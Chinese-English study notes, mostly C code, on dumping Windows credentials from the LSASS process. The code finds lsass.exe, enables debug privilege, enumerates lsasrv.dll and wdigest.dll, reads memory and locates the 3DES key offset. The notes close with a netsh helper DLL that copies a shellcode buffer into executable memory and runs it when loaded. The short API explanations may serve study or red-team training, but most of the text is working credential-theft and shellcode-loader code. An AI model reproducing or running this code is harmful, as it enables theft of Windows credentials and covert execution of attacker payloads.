CreateToolhelp32Snapshot:Takes a snapshot of the specified processes, as well as the heaps, modules, and threads used by these processes.
以TH32CS_SNAPPROCESS作为第一个参数,可保存系统中所有进程信息用于遍历
// Searches for lsass.exe PID
int GetLsassPid() {
PROCESSENTRY32 entry;
entry.dwSize = sizeof(PROCESSENTRY32);
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);
if (Process32First(hSnapshot, &entry)) {
while (Process32Next(hSnapshot, &entry)) {
if (wcscmp(entry.szExeFile, L"lsass.exe") == 0) {
return entry.th32ProcessID;
}
}
}
CloseHandle(hSnapshot);
return 0;
}
https://docs.microsoft.com/en-us/windows/win32/procthread/process-security-and-access-rights
PROCESS_QUERY_INFORMATION : Required to retrieve certain information about a process, such as its token, exit code, and priority class (see OpenProcessToken).
PROCESS_VM_READ: Required to read memory in a process using ReadProcessMemory.
HANDLE GrabLsassHandle(int pid) {
HANDLE procHandle = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pid);
return procHandle;
}
BOOL EnableDebugPrivilege(BOOL fEnable)
{
BOOL fOk = FALSE;
HANDLE hToken;
if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken))
{
TOKEN_PRIVILEGES tp;
tp.PrivilegeCount = 1;
LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid);
tp.Privileges[0].Attributes = fEnable ? SE_PRIVILEGE_ENABLED : 0;
AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL);
fOk = (GetLastError() == ERROR_SUCCESS);
CloseHandle(hToken);
}
return(fOk);
}
调试特权允许进程调试它们原本无法访问的进程(如系统服务),默认只有Administrator组成员具有调试特权。比如,进程以Administor权限启动,其Integrity level为high,想遍历Lsass.exe(system integrity)中加载的Dll就需要开启调试特权。
步骤
- OpenProcessToken 以TOKEN_ADJUST_PRIVILEGES的方式打开当前进程令牌
- AdjustTokenPrivileges 设置令牌中的特权,开启Debug Privilege
https://docs.microsoft.com/en-us/windows/win32/psapi/enumerating-all-modules-for-a-process
// Enumerate all loaded modules within lsass process
if (EnumProcessModules(hLsass, lsassDll, sizeof(lsassDll), &bytesReturned)) {
// For each DLL address, get its name so we can find what we are looking for
for (int i = 0; i < bytesReturned / sizeof(HMODULE); i++) {
GetModuleFileNameExA(hLsass, lsassDll[i], modName, sizeof(modName));
// Find DLL's we want to hunt for signatures within
if (strstr(modName, "lsass.exe") != (char*)0)
lsass = (char*)lsassDll[i];
else if (strstr(modName, "wdigest.DLL") != (char*)0)
wdigest = (char*)lsassDll[i];
else if (strstr(modName, "lsasrv.dll") != (char*)0)
lsasrv = (char*)lsassDll[i];
}
}
else
{
printf("[!]Error code of EnumProcessModules():%d\n", GetLastError());
return 0;
}
步骤:
- EnumProcessModules ,获取进程中所有模块的handle
- 遍历每个模块,调用GetModuleFileNameExA获取文件路径名
ReadProcessMemory
// Read memory from LSASS process
SIZE_T ReadFromLsass(HANDLE hLsass, void* addr, void* memOut, int memOutLen) {
SIZE_T bytesRead = 0;
memset(memOut, 0, memOutLen);
ReadProcessMemory(hLsass, addr, memOut, memOutLen, &bytesRead);
return bytesRead;
}
// Retrieve offset to h3DesKey address due to "lea reg, [h3DesKey]" instruction
ReadFromLsass(hLsass, lsasrvMem + keySigOffset + DES_OFFSET, &desOffset, 4);
printf("[*] h3DesKey offset found as %d\n", desOffset);
An optional entry point into a dynamic-link library (DLL). When the system starts or terminates a process or thread, it calls the entry-point function for each loaded DLL using the first thread of the process. The system also calls the entry-point function for a DLL when it is loaded or unloaded using the LoadLibrary and FreeLibrary functions.
DllMain是Dll的默认入口函数,用于指定Dll被加载、卸载时需要执行的操作。例如,当进程加载Dll时,会执行case DLL_PROCESS_ATTACH下的代码。
BOOL WINAPI DllMain(
HINSTANCE hinstDLL, // handle to DLL module
DWORD fdwReason, // reason for calling function
LPVOID lpReserved ) // reserved
{
// Perform actions based on the reason for calling.
switch( fdwReason )
{
case DLL_PROCESS_ATTACH:
// Initialize once for each new process.
// Return FALSE to fail DLL load.
break;
case DLL_THREAD_ATTACH:
// Do thread-specific initialization.
break;
case DLL_THREAD_DETACH:
// Do thread-specific cleanup.
break;
case DLL_PROCESS_DETACH:
// Perform any necessary cleanup.
break;
}
return TRUE; // Successful DLL_PROCESS_ATTACH.
}
https://stackoverflow.com/questions/8696653/dynamically-load-a-function-from-a-dll
- LoadLibrary加载Dll, 如果加载失败,会立即调用DllMain中的DETACH操作;
- GetProcAddress获取需要执行的导出函数地址
- 执行导出函数
#include <windows.h>
#include <iostream>
/* Define a function pointer for our imported
* function.
* This reads as "introduce the new type f_funci as the type:
* pointer to a function returning an int and
* taking no arguments.
*
* Make sure to use matching calling convention (__cdecl, __stdcall, ...)
* with the exported function. __stdcall is the convention used by the WinAPI
*/
typedef int (__stdcall *f_funci)();
int main()
{
HINSTANCE hGetProcIDDLL = LoadLibrary("C:\\Documents and Settings\\User\\Desktop\\test.dll");
if (!hGetProcIDDLL) {
std::cout << "could not load the dynamic library" << std::endl;
return EXIT_FAILURE;
}
// resolve function address here
f_funci funci = (f_funci)GetProcAddress(hGetProcIDDLL, "funci");
if (!funci) {
std::cout << "could not locate the function" << std::endl;
return EXIT_FAILURE;
}
std::cout << "funci() returned " << funci() << std::endl;
return EXIT_SUCCESS;
}
https://gist.github.com/securitytube/c956348435cc90b8e1f7
https://github.com/outflanknl/NetshHelperBeacon/blob/master/NetshHelperBeacon/NetshHelperBeacon.cpp
#include <stdio.h>
#include <windows.h> // only required if you want to pop calc
#ifdef _M_X64
unsigned char buf[] = "\xfc\x48\x83\xe4\xf0\xe8\xc8\x00\x00\x00\x41\x51\x41";
#else
unsigned char buf[] = "\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b";
#endif
// Start a seperate thread so netsh remains usefull. Loosely copied from https://gist.github.com/securitytube/c956348435cc90b8e1f7
DWORD WINAPI ThreadFunction(LPVOID lpParameter)
{
LPVOID newMemory;
HANDLE currentProcess;
SIZE_T bytesWritten;
BOOL didWeCopy = FALSE;
// Get the current process handle
currentProcess = GetCurrentProcess();
// Allocate memory with Read+Write+Execute permissions
newMemory = VirtualAllocEx(currentProcess, NULL, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (newMemory == NULL)
return -1;
// Copy the shellcode into the memory we just created
didWeCopy = WriteProcessMemory(currentProcess, newMemory, (LPCVOID)&buf, sizeof(buf), &bytesWritten);
if (!didWeCopy)
return -2;
// Yay! Let's run our shellcode!
((void(*)())newMemory)();
return 1;
}
BOOL WINAPI
DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved)
{
HANDLE threadHandle;
switch (dwReason)
{
case DLL_PROCESS_ATTACH:
// Create a thread and close the handle as we do not want to use it to wait for it
threadHandle = CreateThread(NULL, 0, ThreadFunction, NULL, 0, NULL);
CloseHandle(threadHandle);
break;
case DLL_PROCESS_DETACH:
// Code to run when the DLL is freed
break;
case DLL_THREAD_ATTACH:
// Code to run when a thread is created during the DLL's lifetime
break;
case DLL_THREAD_DETACH:
// Code to run when a thread ends normally.
break;
}
return TRUE;
}